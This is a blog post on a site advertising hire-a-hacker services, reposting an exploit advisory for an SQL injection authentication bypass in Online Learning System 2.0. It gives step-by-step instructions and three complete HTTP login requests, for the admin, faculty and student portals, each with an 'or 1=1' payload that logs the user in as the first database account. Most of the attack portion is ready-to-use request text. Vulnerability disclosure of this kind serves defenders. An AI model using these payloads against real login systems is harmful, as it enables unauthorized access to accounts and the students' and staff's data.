Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863102833

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online Learning System 2.0 - 'Multiple' SQLi Authentication Bypass
# Date: 11.10.2021
# Exploit Author: Oguzhan Kara
# Vendor Homepage: https://www.sourcecodester.com/php/14929/online-learning-system-v2-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14929&title=Online+Learning+System+V2+using+PHP+Free+Source+Code
# Version: 2.0
# Tested on: Kali Linux, Windows 10 - XAMPP
# Online Learning System v2.0 Login pages can be bypassed with a simple SQLi to the username/facultyID/studentID parameters.

Steps To Reproduce:
1 - Go to one of the login portals
2 - Enter the payload to username field as "bypass' or 1=1-- -" without double-quotes ("bypass" is can be anything in this scenario) and type anything you want to the password field.
3 - Click on "Login" button and you are logged in as first user in database, which is admin user for admin portal.

PoC

---Admin Portal---

POST /elearning/classes/Login.php?f=login HTTP/1.1
Host: localhost
Content-Length: 45
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/elearning/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

username=bypass'+or+1%3D1--+-&password=bypass

---Faculty Portal---

POST /elearning/classes/Login.php?f=flogin HTTP/1.1
Host: localhost
Content-Length: 47
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/elearning/faculty/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

faculty_id=bypass'+or+1%3D1--+-&password=bypass

---Student Portal---

POST /elearning/classes/Login.php?f=slogin HTTP/1.1
Host: localhost
Content-Length: 45
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/elearning/student/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

student_id=bypass'+or+1%3D1--+-&password=test